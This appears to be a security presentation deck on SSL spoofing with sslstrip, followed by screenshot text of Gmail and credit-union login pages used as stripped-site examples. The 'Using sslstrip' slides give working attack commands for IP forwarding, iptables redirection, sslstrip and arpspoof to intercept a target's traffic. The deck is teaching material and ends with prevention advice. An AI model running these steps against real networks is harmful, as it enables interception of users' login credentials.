SSL Spoofing

Man-In-The-Middle attack on SSL
Duane Peifer
Summary

- How SSL works
- Common SSL misconceptions
- SSL Spoofing
- Using sslstrip
- Preventing SSL Spoofing
- Examples of stripped sites
How SSL works

Client PC

- Client hello
- Server hello
- Certificate
- Server hello done
- Client key exchange
- Change cipher spec
- Finished
- Change cipher spec
- Finished
- Secure connection

Web Server
How SSL works

TCP  HTTPS  TCP
     HTTPS  SSL
Common SSL misconceptions

- HTTPS means I am secure right?
- What about...
  - SSL version 2.0 flaws
  - Weak Ciphers < 128 bit
  - Certificate keys < 1024 bits
  - Client vulnerabilities
  - Server vulnerabilities
  - Application vulnerabilities
- SSL can provide a false sense of security
SSL Spoofing

- Moxie Marlinspike created sslstrip and presented at Black Hat DC 2009.
  http://www.thoughtcrime.org/

- Does not attack SSL itself, but the transition from non-encrypted to encrypted communications.
Common HTTP/HTTPS Connection

- HTTP Connection on Port 80
- Redirect to HTTPS
- HTTPS Connection on Port 443
- Server Certificate
- Connection Established

Client PC

Web Server
Hijacking Communication

Client PC

HTTP request

Non-encrypted communication

Modified HTTP Response

Attacker

HTTP request

Redirect to HTTPS URL

Encrypted Communication

Web Server
Using sslstrip

1. Get sslstrip

A. Download and install sslstrip and arpspoof (linux only)
   • http://www.thoughtcrime.org/software.html
   • http://sourceforge.net/projects/arpspoof/

B. Backtrack 4 (pre-installed)
   • http://www.backtrack-linux.org/downloads/
Using sslstrip

2. Configure attack machine for IP forwarding.
   
   echo "1" > /proc/sys/net/ipv4/ip_forward

4. Route all HTTP traffic to sslstrip.
   
   iptables -t nat -A PREROUTING -p tcp
   --destination-port 80 -j REDIRECT --to-port 54321

5. Run sslstrip.
   
   sslstrip -l 54321
Using sslstrip

5. Configure ARP spoofing.

   arpspoof –i eth0 –t <targetIP> <gatewayIP>

7. Launch a sniffer and collect data.
Expanding the attack

- What if a root certificate could be installed on the target?
- The attacker could potentially replace the certificate and maintain a secure connection.
Preventing SSL Spoofing

- Ensure you are using secure connections. Look for the HTTPS.
- Be careful about where you use secure sites.
- Secure machines on the network.
- Use static ARP tables.*

* This is a TON of work. Understand the ramifications of doing this before starting.
Secure
Secure

A Google approach to email.
Gmail is built on the idea that email can be more intuitive, efficient, and useful. And maybe even fun. After all, Gmail has:

- **Less spam**
  Keep unwanted messages out of your inbox with Google’s innovative technology.

- **Mobile access**
  Read Gmail on your mobile phone by pointing your phone’s web browser to http://gmail.com. Learn more

- **Lots of space**
  Over 7474.374802 megabytes (and counting) of free storage.

Sign in with your Google Account

Username: ex: pat@example.com
Password: [enter password]

Stay signed in

Create an account »

New to Gmail? It’s free and easy.

©2010 Google - Gmail for Business - Gmail Blog - Terms - Help
Gmail

Welcome to Gmail

A Google approach to email.

Gmail is built on the idea that email can be more intuitive, efficient, and useful. And maybe even fun. After all, Gmail has:

- **Less spam**
  Keep unwanted messages out of your inbox with Google's innovative technology.

- **Mobile access**
  Read Gmail on your mobile phone by pointing your phone's web browser to http://gmail.com. Learn more

- **Lots of space**
  Over 7474.976984 megabytes (and counting) of free storage.

Sign in with your Google Account

Username: example.com

Password:

Stay signed in

Can't access your account?

New to Gmail? It's free and easy.

Create an account »

©2010 Google - Gmail for Business - Gmail Blog - Terms - Help
Secure
Secure
Secure
Secure
Stripped
Secure
Meeting All Your Financial Needs...

What's your heart set on?
- Get a great rate and no payments till September 2010
- Don't lose a valuable Summit service!
  
  Optional Pay Select Act now!

New Syracuse branch hours in effect
Click here for new hours

People, Not Profits
As a credit union, The Summit is a not-for-profit financial institution owned and operated exclusively by our members. There are no outside stockholders who require a return on their investment to drive up our operating costs. That means great rates on deposits and loans, low/no fees and world-class member service.

Member Service
At The Summit, we're here for you. Our commitment to member service is evident in everything we do. Click here for Summit FAQs.

Financial Tools
Current Rates

We're Here For You

- [Image of women looking happy]

- Summit Federal Credit Union
- Member Number
- Password
- New User? Get Started!
- View Our Demo
- Reset Your Password
- Having trouble logging in?

Summit Online Access
Access Your Summit Account

Visit the Summit
Locations & Hours
Contact Us
Site Map

Products & Services
Member Resources
Apply Online
Current Rates
Youth Programs
News & Information
About The Summit
Locations & Hours
Contact Us
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<script type="text/javascript" src="https://www.summitfcu.org/onlineserv/HB/Signon.cgi?remote=TRUE"></script>
<script type="text/javascript">var bPasswordFocus = false;</script>
</head>